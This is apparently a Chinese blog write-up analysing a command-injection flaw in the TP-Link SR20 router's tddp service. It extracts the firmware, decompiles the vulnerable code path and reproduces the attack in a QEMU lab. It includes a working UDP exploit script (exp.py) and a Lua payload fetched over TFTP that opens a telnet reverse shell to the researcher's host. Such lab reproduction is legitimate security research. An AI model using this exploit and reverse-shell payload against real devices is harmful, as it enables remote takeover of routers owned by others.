漏洞分析
binwalk提取文件系统:
➜ firmware binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
Scan Time: 2026-01-14 08:36:21
Target File: /home/ra1ny/firmware/tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
MD5 Checksum: 77ba786e31e77a14f669865ebe429e87
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
155672 0x26018 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 300028 bytes
233464 0x38FF8 TRX firmware header, little endian, image size: 1941504 bytes, CRC32: 0x2DAE9AF0, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
233492 0x39014 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4629600 bytes
1635467 0x18F48B StuffIt Deluxe Segment (data): f%
WARNING: Symlink points outside of the extraction directory: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root/var -> /tmp; changing link target to /dev/null for security purposes.
...
WARNING: Symlink points outside of the extraction directory: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root/etc/ppp/resolv.conf -> /tmp/resolv.conf.ppp; changing link target to /dev/null for security purposes.
2174969 0x212FF9 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13061274 bytes, 2642 inodes, blocksize: 131072 bytes, created: 2018-05-19 04:25:38
15897446 0xF29366 CRC32 polynomial table, little endian
15901542 0xF2A366 CRC32 polynomial table, big endian
16336334 0xF945CE CRC32 polynomial table, little endian
16786550 0x1002476 Unix path: /var/log/database/onboarding_status
16907919 0x101FE8F PNG image, 80 x 80, 8-bit/color RGBA, non-interlaced
...
18390494 0x1189DDE PNG image, 80 x 80, 8-bit/color RGBA, non-interlaced
Scan Time: 2026-01-14 08:36:23
Target File: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/26018
MD5 Checksum: 553e40e02f73b6b88fb32d3afe4f00a7
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
264232 0x40828 Copyright string: "Copyright (C) 2000-2008 Broadcom Corporation."
Scan Time: 2026-01-14 08:36:23
Target File: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/39014
MD5 Checksum: c10e969334a47b84e2ed8ec15437d181
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
131072 0x20000 ASCII cpio archive (SVR4 with no CRC), file name: "/dev", file name length: "0x00000005", file size: "0x00000000"
...
4523359 0x45055F LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 32 bytes
Scan Time: 2026-01-14 08:36:24
Target File: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/_39014.extracted/33F5B
MD5 Checksum: 3b5d3c7d207e37dceeedd301e35e2e58
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
Scan Time: 2026-01-14 08:36:24
Target File: /home/ra1ny/firmware/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/_39014.extracted/45055F
MD5 Checksum: 70bc8f4b72a86921468bf8e8441dce51
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------进入.extracted后缀的目录,然后进入squashfs,查找tddp程序
➜ squashfs-root ls
bin etc media overlay rom sbin sys tmp var
dev lib mnt proc root sd_zwave_ip ti_zstack usr www
➜ squashfs-root find ./ -name "tddp"
./usr/bin/tddp将tddp下载下来,放入ida pro分析。shift + f12,ctrl + f搜索tddp,会发现存在tddp_taskEntry,双击进去,
![[Pasted image 20260114201326.png]]
会发现函数sub_936C,查找这个函数
![[Pasted image 20260114201432.png]]
进入函数后,tab反汇编伪代码,存在一个if判断,然后进行一些初始化操作,然后会进入while循环,然后设置了执行一个sub_16418()函数;
while ( 1 )
{
do
{
timeout.tv_sec = 600; // 10分钟超时
timeout.tv_usec = 0;
readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F);
v7 = select(nfds, &readfds, 0, 0, &timeout); // 调用select
if ( sub_9340() - v6[13] > v6[12] )
v6[8] = 0;
}
while ( v7 == -1 ); // 仅处理select -1的情况
if ( !v7 )
break;
if ( ((readfds.__fds_bits[v6[9] >> 5] >> (v6[9] & 0x1F)) & 1) != 0 )
sub_16418(v6);
}进入sub_16418会对v6进行处理
v14 = recvfrom(a1[9], (char *)a1 + 45083, 0xAFC8u, 0, &p_addr, &addr_len);
if ( v14 < 0 )
return sub_13018(-10106, "receive error");
sub_15458(a1);
a1[11] |= 1u;
n2 = *v16;
if ( n2 == 1 )
{
if ( sub_15AD8(a1, &p_addr) )
{
a1[13] = sub_9340();
v17 = sub_15E74(a1, &n);
}
else
{
v17 = -10301;
*v15 = 1;
v15[1] = v16[1];
v15[2] = 2;
v15[3] = 8;
*((_DWORD *)v15 + 1) = htonl(0);
v5 = (v16[9] << 8) | v16[8];
v6 = v15;
v15[8] = v16[8];
v6[9] = HIBYTE(v5);
}
}
else if ( n2 == 2 )
{
...根据TDDP数据包的,第一个字节用来判断TPPD的版本,当TDDP的版本为v1时,才会继续执行后续的程序。所以会判断n2是否为1,如果n2 == 1则进入sub_15E74()函数。
switch ( *(_BYTE *)(a1 + 45084) )
{
case 4:
printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", "tddp_parserVerOneOpt", 697);
v9 = sub_AC78(a1);
break;
...
case 0x31:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", "tddp_parserVerOneOpt", 692);
v9 = sub_A580(a1);
break;
... 可以看出,当第二个字节为0x31时,会执行sub_A580()。然后跟进这个函数会发现
sub_91DC("cd /tmp;tftp -gr %s %s &", s, s_3);
sprintf(name, "/tmp/%s", s)此处会把"cd /tmp;tftp -gr %s %s &", s, s_3传入sub_91DC();然后跟进sub_91DC()。
...
char s[256]; // 固定大小缓冲区
...
vsprintf(s, format, varg_r1); // 无长度限制的格式化,可以进行缓冲区溢出攻击。
printf("[%s():%d] cmd: %s \r\n", "tddp_execCmd", 72, s);
pid = fork();
if ( pid < 0 )
return -1;
if ( !pid )
{
argv = "sh";
_c = "-c";
s_1 = s;
v6 = 0;
execve("/bin/sh", &argv, 0);
exit(127);
}对于这部分代码,首先在char s[256]会有缓冲区溢出攻击,其次在format参数内,含有用户输入。对于vsprintf对应的内容,此处假设传入sub_91DC()的s=paylod并且s_3=10.10.10.1
s ← 目标缓冲区(char[256])
format ← "cd tmp;tftp -gr %s %s &"
varg_r1 ← 包含两个字符串参数:"payload", "10.10.10.1"
结果:s = "cd tmp;tftp -gr /payload 10.10.10.1&"然后,会执行execve系统调用执行/bin/sh -c上面的参数,这样就造成了命令注入。
qemu模拟复现
先对squashfs-root目录进行压缩。
tar -cf squashfs-root.tar squashfs-root然后在当前面目录运行
python3 -m http.server 然后开启新的终端,配置虚拟网卡,使得双方可以通信。
sudo ip tuntap add tap0 mode tap user `whoami`
sudo ip addr add 10.10.10.1/24 dev tap0
sudo ip link set tap0 up
sudo ip addr show tap0配置tftp服务
sudo apt install tftp-hpa
sudo vim /etc/default/tftpd-hpa修改TFTP_DIRECTORY和TFTP_ADDRESS,修改为:
# /etc/default/tftpd-hpa
TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/tftpboot"
TFTP_ADDRESS="10.10.10.1:69"
TFTP_OPTIONS="--secure"创建在/目录创建/tftpboot,并配置读写执行权限,并写入payload
mkdir /tftpboot
sudo chmod 777 /tftpboot
vim /tftpboot/payload写入以下内容
function config_test(config)
os.execute("mknod a p; telnet 10.10.10.1 3333 0<a | /bin/sh 1>a")
end然后
sudo systemctl restart tftpd-hpa然后使用qemu模拟固件,需要使用arm环境。因此,需要下载debian arm镜像
https://people.debian.org/~aurel32/qemu/armhf/打开链接,选择下载debian_wheezy_armhf_standard.qcow2,initrd.img-3.2.0-4-vexpress,vmlinuz-3.2.0-4-vexpress。然后复制到刚才binwalk提取出的.extracted目录。启动qemu arm虚拟机:
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-sd debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0 rootwait" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic启动时会报错:
alsa: Could not initialize DAC
alsa: Failed to open `default':
alsa: Reason: Host is down
alsa: Could not initialize DAC
alsa: Failed to open `default':
alsa: Reason: Host is down
audio: Could not create a backend for voice `lm4549.out'
qemu-system-arm: Invalid SD card size: 25 GiB
SD card size has to be a power of 2, e.g. 32 GiB.
You can resize disk images with 'qemu-img resize <imagefile> <new-size>'
(note that this will lose data if you make the image smaller than it currently is).这是一个常见问题。QEMU 的 SD 卡模拟要求磁盘大小必须是 2 的幂次方(如 16G、32G、64G)。这个镜像大小是 25GiB,不符合要求。所以将镜像调整到32GB是一个最简单的方法
qemu-img resize debian_wheezy_armhf_standard.qcow2 32G然后按照一开始的命令重新启动。启动完成后会进入
Debian GNU/Linux 7 debian-armhf ttyAMA0
debian-armhf login:此时输入root,然后回车,输入root会登入系统。然后配置qemu arm的网卡:
ip addr add 10.10.10.2/24 dev eth0
ip link set eth0 up测试网络连通性。然后在qemu内,通过wget将squashfs-root.tar传进qemu
wget http://10.10.10.1:8000/squashfs-root.tar然后解压
tar -xf squashfs-root.tar切换根路径
chroot ./squashfs-root sh然后运行进程
./usr/bin/tddp然后开启监听端口
nc -nlvp 3333然后创建exp.py
#!/usr/bin/python3
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
import sys
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)然后运行python脚本
python3 exp.py 10.10.10.2 /payload然后返回nc监听的地方,便反弹了shell了
![[Pasted image 20260114154242.png]]
这个也是通过talent反弹,但是需要监听两个端口,一个作为bash一个作为回显。
只需要修改payload部分
function config_test(config)
os.execute("mknod a p; telnet 10.10.10.1 3333 0<a | /bin/sh 1>a")
end![[Pasted image 20260114152445.png]]
评论(0)
暂无评论